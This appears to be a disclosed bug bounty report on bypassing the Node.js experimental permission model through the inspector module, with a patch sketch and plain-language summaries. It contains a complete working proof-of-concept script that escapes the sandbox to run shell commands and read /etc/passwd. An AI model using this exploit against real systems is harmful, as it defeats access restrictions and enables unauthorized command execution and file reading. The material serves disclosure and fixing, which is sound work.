Process-based permissions can be bypassed with the "inspector" module.
The Node.js permission model, enabled with the experimental permission flag, could be bypassed because the built-in inspector module remained available and allowed a debugger breakpoint to flip an internal flag. An attacker with the ability to run a script under the permission model could then spawn child processes and read or write files that the restrictions were meant to block.
Originally disclosed on HackerOne
- Triaged in 10 days
- Fixed in 55 days
- Disclosed after 3 months
Summary:
Restrictions made with with the --experimental-permission flag can by bypassed with the built-in inspector module.
Description:
The Worker class can take an argument (the kIsInternal Symbol) to create an "internal worker" which does not respect the process level restrictions.
We cant access this Symbol('kIsInternal'); directly, however the inspector module is not disabled when process level restrictions are in place. "The node:inspector module provides an API for interacting with the V8 inspector."
If we attach inspector inside the Worker constructor before new WorkerImpl is created we can simply change the value of "isInternal".
Steps To Reproduce:
- Create the following
bypass.jsfile:
const { Session } = require('node:inspector/promises');
const session = new Session();
session.connect();
(async ()=>{
await session.post('Debugger.enable');
await session.post('Runtime.enable');
global.Worker = require('node:worker_threads').Worker;
let {result:{ objectId }} = await session.post('Runtime.evaluate', { expression: 'Worker' });
let { internalProperties } = await session.post("Runtime.getProperties", { objectId: objectId });
let {value:{value:{ scriptId }}} = internalProperties.filter(prop => prop.name == '[[FunctionLocation]]')[0];
let { scriptSource } = await session.post("Debugger.getScriptSource", { scriptId });
// find the line number where WorkerImpl is called.
const lineNumber = scriptSource.substring(0, scriptSource.indexOf("new WorkerImpl")).split('\n').length;
// WorkerImpl will bypass permission for internal modules. We can inject the local var "isInternal = true" with a conditional breakpoint.
await session.post("Debugger.setBreakpointByUrl", {
lineNumber: lineNumber,
url: "node:internal/worker",
columnNumber: 0,
condition: "((isInternal = true),false)"
});
new Worker(`
const child_process = require("node:child_process");
console.log(child_process.execSync("ls -l").toString());
console.log(require("fs").readFileSync("/etc/passwd").toString())
`, {
eval: true,
execArgv: [
"--experimental-permission",
"--allow-fs-read=*",
"--allow-fs-write=*",
"--allow-child-process",
"--no-warnings"
]
});
})()
- Run the following command :
node --experimental-permission --allow-fs-read=$(pwd) bypass.js
If the policies were not bypassed we would expect to see something like:
node --experimental-permission --allow-fs-read=$(pwd) safe.js
node:internal/child_process:1103
const result = spawn_sync.spawn(options);
^
Error: Access to this API has been restricted
Supporting Material/References:
In my opinion inspector should be allowed when process level permissions are being enforced. I noticed there was already a flag: EnvironmentFlags::kNoCreateInspector. I took a shot at patching this out unless ==inspect or --inspect-brk were used, but I didn't know if a more direct options like "--allow-inspector" would be preferred.
diff --git a/src/env.cc b/src/env.cc
index 571a8ed5ce..b5b7557bd1 100644
--- a/src/env.cc
+++ b/src/env.cc
@@ -791,6 +791,11 @@ Environment::Environment(IsolateData* isolate_data,
// spawn/worker nor use addons unless explicitly allowed by the user
if (!options_->allow_fs_read.empty() || !options_->allow_fs_write.empty()) {
options_->allow_native_addons = false;
+ DebugOptions debug_options;
+ debug_options = options_->debug_options();
+ if (!debug_options.inspector_enabled || !debug_options.break_first_line) {
+ flags_ = flags_ | EnvironmentFlags::kNoCreateInspector;
+ }
if (!options_->allow_child_process) {
permission()->Apply("*", permission::PermissionScope::kChildProcess);
}
Impact
Permission Model is a mechanism for restricting access to specific resources during execution. This bypasses those restrictions.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the permission model does not disable the inspector module, so a script can attach a debugger session and use a conditional breakpoint to set the internal isInternal flag to true before the worker is created.
Impact
The permission model's restrictions on child processes and file access could be bypassed, allowing a script to run commands and read files it should have been denied.
What the attacker needed
Ability to run a script under the permission flag
The fix
The inspector should be disabled when process-level permissions are enforced, unless it was explicitly enabled through the inspect flags; the reporter sketched a patch using the existing no-create-inspector flag.
How it was found
- Create a script that opens an inspector session and connects to it.
- Enable the debugger and runtime, then locate the Worker function and read its source to find the line where the internal worker is constructed.
- Set a conditional breakpoint on that line that sets the internal flag to true.
- Create a worker with eval enabled and pass permission-related arguments to it.
- Run the script under the permission flag and observe that the worker can run commands and read files.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Node.js has an experimental feature that lets you run a script while blocking it from touching files or starting other programs. The report shows that a debugging tool built into Node.js stays switched on even when those blocks are active, and it can be used to quietly change a setting inside Node.js so the blocks stop working. The result is that the script can then read files and run commands it was supposed to be denied.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.